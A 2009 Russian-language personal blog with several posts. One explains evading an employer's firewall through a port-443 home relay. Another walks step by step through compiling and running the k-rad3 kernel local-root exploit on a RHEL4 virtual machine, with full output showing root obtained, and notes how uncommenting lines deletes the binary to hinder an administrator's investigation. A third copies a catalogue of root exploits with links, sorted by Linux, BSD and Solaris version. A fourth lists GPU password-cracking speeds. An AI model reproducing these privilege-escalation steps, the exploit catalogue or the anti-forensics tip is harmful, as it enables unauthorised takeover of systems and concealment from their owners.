суббота, 24 января 2009 г.

История про 443 порт

Хочу рассказать небольшую историю про 443 TCP/IP порт. Итак... Как известно многие компании любят ограничивать своих работников в плане Интернета. Например, не дают скачивать mp3 и avi файлы с рабочего места, закрывают доступ к различным сайтам (типа vkontakte.ru и т.д.). Однажды закрыли доступ к моей любимой радиостанции. Причем забанили по DNS адресу, наглухо. Но, русский человек и из консервной банки гранату сделает ;) В качестве альтернативного решения был создан небольшой редирект и прокси-сервер на базе локальной, домашней машины. Сейчас многие провайдеры предоставляют безлимитные тарифы и грех этим не воспользоваться. 

Получив информацию из потока, о том, что радиостанция использует Icecast Server 2.3.2. Что уже само по-себе является багом! А вдруг в данной версии будет обнаружена ошибка переполнения буфера и можно будет получить права root на сервере моей любимой радиостанции?! Я установил себе на ПК аналогичный сервер (что тоже не очень хорошо, но желание слушать музыку было сильнее). Далее нашел в Гугле отличную статью - "Как настроить ретрансляцию интернет радио в локальную сеть (Relaying)". И настроил Icecast Server на 443 порту. Данный порт в компаниях на фаерволах обычно не режется, т.к. иначе не будут доступны различные HTTPS сервисы. Все было отлично, но вдруг на домашней машине при использовании WebMoney Keeper Classic стали появляется непонятные проблемы... Например, автоматическая оплата товаров перестала работать во многих интернет-магазинах. Я был склонен предполагать, что глючит сам Keeper, но оплата счетов выписываемых на мой кошелек проходила. А при открытии сайтов типа https:// появлялась ошибка - Безопасное подключение: критическая ошибка (552) и Opera не смогла подключиться к серверу. Вероятно, сервер использует неподдерживаемый протокол SSL 2, который не может считаться достаточно надёжным для безопасного соединения. Владельцу сайта необходимо обновить протокол до TLS 1.0 или более нового. Все разрешилось очень просто. Я отключил правило на своем фаерволе которое открывает 443 порт исключительно для моего серого IP адреса и все чудесно заработало. Поэтому если у вас возникают проблемы с HTTPS проверьте телнетом свой 443 порт на вашем роуторе. Кто не знает, это делается так в Windows (Пуск ---> Выполнить ---> cmd ---> telnet IP-адрес сервера порт). Пробелы в команде обязательны. Для проверки можете сделать телнет на 80-ы порт. Он всегда открыт :)

воскресенье, 4 января 2009 г.

k-rad3 - RHEL4(2.6.9-5.EL)

Для тестирования эксплоита k-rad3.c я установил на виртуальную машину VMWare RHEL4.

После командами

groupadd oinstall 
groupadd dba #создал 2 группы

useradd -g oinstall -G dba oracle #добавил пользователя

passwd oracle #назначил ему пароль.

Далее сохраняем станицу http://www.milw0rm.com/exploits/1397 в файл k-rad3.c в домашнем каталоге /home/oracle.

Если внимательно прочесть комментарии, то можно увидеть, что:

if OS in vmware , idtr.base is not right, please fix it
  * [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
  * c0461000 D idt_table

В моем случае, с зашел в каталог /boot, затем

[oracle@RHEL4 boot]$ ls System*
System.map-2.6.9-5.EL


cat /boot/System.map-2.6.9-5.EL|grep idt_table

c03cc000 D idt_table

Теперь перед строкой
 
 printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);

нужно раскомментировать и прописать строку idtr.base = 0xc03cc000;

После этого сохраняем изменения в файле k-rad3.c и компилируем его с опциями:

gcc -o k-rad3 k-rad3.c -static -O2

k-rad3.c:730:28: warning: no newline at end of file

и в домашнем каталоге появляется исполняемый файл k-rad3.

-rwxr-xr-x 1 oracle oinstall 464146 Jan 4 18:38 k-rad3

Если запустить без указания параметров, то

[oracle@RHEL4 ~]$ ./k-rad3
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd ]
[ Modified 2005/9 by alert7 ]
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff2dda0,num 4100
[+] idt[0x7f] addr 0xffc003f8
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?

и рута мы не получим. Еще раз обращаемся к комментариям:

и запускаем с параметром ./k-rad3 -p 2

[oracle@RHEL4 ~]$ ./k-rad3 -p 2
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd ]
[ Modified 2005/9 by alert7 ]
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff9ea80,num 8196
[+] idt[0x7f] addr 0xffc003f8
[+] j00 1u(k7 k1d!

[root@k-rad3 oracle]# id

uid=0(root) gid=0(root) groups=500(oinstall),501(dba)

После того как получили рута, проверяем права на файл и видим, что

-rwsr-sr-x 1 root oinstall 464146 Jan 4 18:38 k-rad3

Необходимые условия для того чтобы сплойт сработал:

- ядро уязвимой версии; 
- карма на +10 (спойт часто весит систему, вызывает kernel panic или просто не работает).

примечание:

/* unlink(argv[0]); */
// sync();

в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя.

Описание работы сполйта (очень примерное):

- проверяет на то, запустились ли мы благодаря suid'ному биту из под рута; 
- если да, то изменяет UID и GID владельца процесса на 0 и запускает shell; 
- используя возможность перезаписывать память ядра, перезаписывает указатель на обработчик прерывания 0x7f; 
- вызывает прерывание 0x7f при этом в нулевом кольце вызывается функция, которая ставит процессу сплойта uid,euid,gid,egid в 0 и очищает указатель на обработчик прерывания 0x7f (чтоб никто больше им не воспользовался) ставит программе-сплойту на диске суидный бит и владельца рута; 
Запускает шелл, он запускается с uid=0 и gid=0.

Часть информации было взято с сайта - http://www.hackerdom.ru/Seminar/20072008/LinuxKernelExploits.

A nice list of root exploits and working links

Пользуясь случаем хочу продублировать страницу (http://indounderground.wordpress.com/2008/06/14/a-nice-list-of-root-exploits-and-working-links/) и сохранить у себя этот замечательный список.

Здесь представлен список эксплоитов которые позволяют получить привилегии root.

Список разбит по операционным системам (Linux, BSD, Solaris). 

Linux

Common

Linux 2.2.x ->Linux kernel ptrace/kmod local root exploit (http://milw0rm.com/exploits/3)

Linux 2.2.x (on exported files, should be vuln) (http://milw0rm.com/exploits/718)

Linux <= 2.2.25 ->Linux Kernel 2.x mremap missing do_munmap Exploit (http://milw0rm.com/exploits/160)

Linux 2.4.x ->Linux kernel ptrace/kmod local root exploit (http://milw0rm.com/exploits/3)

Linux 2.4.x -> pwned.c - Linux 2.4 and 2.6 sys_uselib local root exploit (http://milw0rm.com/exploits/895)

Linux 2.4.x ->Linux kernel 2.4 uselib() privilege elevation exploit (http://milw0rm.com/exploits/778)

Linux 2.4.20 ->Linux Kernel Module Loader Local R00t Exploit (http://milw0rm.com/exploits/12)

Linux <= 2.4.22 ->Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (http://milw0rm.com/exploits/131) Linux 2.4.22 ->Linux Kernel 2.4.22 “do_brk()” local Root Exploit (PoC) (http://milw0rm.com/exploits/129)

Linux <= 2.4.24 ->Linux Kernel 2.x mremap missing do_munmap Exploit (http://milw0rm.com/exploits/160)

Linux 2.4.x <>Linux Kernel 2.x mremap missing do_munmap Exploit (http://milw0rm.com/exploits/160)

Linux 2.6.11 -> Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c) (http://milw0rm.com/exploits/1397)

Linux 2.6.13 <= 2.6.17.4 -> Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate) (http://milw0rm.com/exploits/2031)

Linux 2.6.13 <= 2.6.17.4 -> Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (http://milw0rm.com/exploits/2011)

Linux 2.6.11 <= 2.6.17.4 -> h00lyshit.c -Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit (http://milw0rm.com/exploits/2013) Linux 2.6.x <> pwned.c - Linux 2.4 and 2.6 sys_uselib local root exploit (http://milw0rm.com/exploits/895)


Debian

Debian 2.2 ->/usr/bin/pileup Local Root Exploit (http://milw0rm.com/exploits/1170)

Ubuntu

Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability (http://milw0rm.com/exploits/1579)

Slackware

Slackware 7.1 ->/usr/bin/Mail Exploit (http://milw0rm.com/exploits/285)

Mandrake

Mandrake 8.2 -> /usr/mail local exploit (http://milw0rm.com/exploits/40)
Mandrake <= 10.2 -> cdrdao Local Root Exploit (http://milw0rm.com/exploits/997)

Suse

SuSE Linux 9.1 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux 9.2 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux 9.3 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux 10.0 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux Enterprise Server 8 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux Enterprise Server 9 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)

BSD

Freebsd

Freebsd 3.5.1 ->Ports package local root (http://milw0rm.com/exploits/286)
Freebsd 4.2 ->Ports package local root (http://milw0rm.com/exploits/286)
FreeBSD 4.x <= 5.4) master.passwd Disclosure Exploit (http://milw0rm.com/exploits/1311) Openbsd Openbsd 2.x - 3.3 ->exec_ibcs2_coff_prep_zmagic() Kernel Exploit (http://milw0rm.com/exploits/125)
OpenBSD 3.x-4.0 ->vga_ioctl() root exploit (http://milw0rm.com/exploits/3094)

Sun-Microsystems

Solaris

Solaris 2.4 ->lion24.c (http://milw0rm.com/exploits/328)
Solaris 2.6 with 107733-10 and without 107733-11 (http://milw0rm.com/exploits/1182)
Solaris 2.6 with 107733-10 and without 107733-11 (http://milw0rm.com/exploits/1182)
Solaris 5.5.1 ->X11R6.3 xterm (http://milw0rm.com/exploits/338)
Solaris 7 with 106950-14 through 106950-22 and without 106950-23 (http://milw0rm.com/exploits/1182)
Solaris 7 with 106950-14 through 106950-22 and without 106950-23 (http://milw0rm.com/exploits/1182)
Solaris 7 without patch 107178-03 (http://milw0rm.com/exploits/714)
Solaris 7 without patch 107178-03 (http://milw0rm.com/exploits/713)
Solaris 8 without patch 108949-08 (http://milw0rm.com/exploits/713)
Solaris 8 without patch 108949-08 (http://milw0rm.com/exploits/714)
Solaris 8 with 109147-07 through 109147-24 and without 109147-25 (http://milw0rm.com/exploits/1182)
Solaris 8 with 108993-14 through 108993-31 and without 108993-32 (http://milw0rm.com/exploits/715)
Solaris 8 with 109147-07 through 109147-24 and without 109147-25 (http://milw0rm.com/exploits/1182)
Solaris 8 with 108993-14 through 108993-31 and without 108993-32 (http://milw0rm.com/exploits/715)
Solaris 9 without patch 116308-01 (http://milw0rm.com/exploits/714)
Solaris 9 without patch 116308-01 (http://milw0rm.com/exploits/713)
Solaris 9 without 113476-11 (http://milw0rm.com/exploits/715)
Solaris 9 without 112963-09 (http://milw0rm.com/exploits/1182)
Solaris 9 without 113476-11 (http://milw0rm.com/exploits/715)
Solaris 9 without 112963-09 (http://milw0rm.com/exploits/1182)
Solaris 10 (libnspr) Arbitrary File Creation Local Root Exploit (http://milw0rm.com/exploits/2543)
Solaris 10 (libnspr) constructor Local Root Exploit (http://milw0rm.com/exploits/2641)

SunOS

SunOS 5.10 Generic i86pc i386 i86pc (http://milw0rm.com/exploits/1073)
SunOS 5.9 Generic_112233-12 sun4u (http://milw0rm.com/exploits/1073)

Приобрел Extreme GPU Bruteforcer

На этих праздниках купил лицензию на Extreme GPU Bruteforcer (http://www.insidepro.com/rus/egb.shtml) . Сокращенно программа называется EGB. Используя технологию Cuda 2.0 EGB восстановливает пароли к хэшам используя мощности видеопроцессора (GPU). Так как софт Shareware, то по-умолчанию EGB работает 3 минуты :( Но даже за это время мне удалось подобрать пароль от MD5 хеша к тестовому слову hello. Загрузка CPU в это время составляла 30 %. Постепенно переходим от лирики к практике. Итак, утилита GetDeviceInfo.exe отображает следующие результаты.

Device #1:
Device name: GeForce 9800 GTX/9800 GTX+
Warp size: 32
Clock rate, MHz: 1836
Major revision number: 1
Minor revision number: 1
Number of multiprocessors on the device: 16
Maximum number of threads per block: 512
Maximum sizes of each dimension of a block: 512 x 512 x 64
Maximum sizes of each dimension of a grid: 65535 x 65535 x 1
Total amount of global memory, bytes: 536543232
Total amount of constant memory, bytes: 65536
Total amount of shared memory per block, bytes: 16384
Total number of registers available per block: 8192
Maximum memory pitch, bytes: 262144
Texture alignment, bytes: 256
Device overlap: 1

Текущая версия Extreme GPU Bruteforcer - v1.4.1.

Далее привожу среднюю скорость подбора паролей используя
NVIDIA GeForce 9800 GTX/9800 GTX+.

1) MD5 - 387.02M p/s.

2) MD4 - 564.40M p/s.

3) MySQL (4 <=) - 1005.66M p/s.

4) MySQL5 - 52.38M p/s.

5) NTLM - 442.37M p/s.

6) DES(Unix) - 0.11M p/s.

7) SHA-1 - 98.48M p/s.

Список используемых алгоритмов можно посмотреть тут (https://forum.antichat.ru/printthread.php?t=61277).

С Новым Годом!

Дорогие друзья!

Поздравляю всех вас с прошедшим Новым Годом. Пусть этот год будет для вас счастливее, удачливее, чем предыдущий. Пусть мечты сбудутся, а планы смогут реализоваться этом году. Новый Год это некоторый рубеж, отметка, даже если мы её и не видим. Я хочу, чтобы ваша работа, хобби, увлечение приносят вам радость и удовлетворение. Удачи Вам. Все будет хорошо :)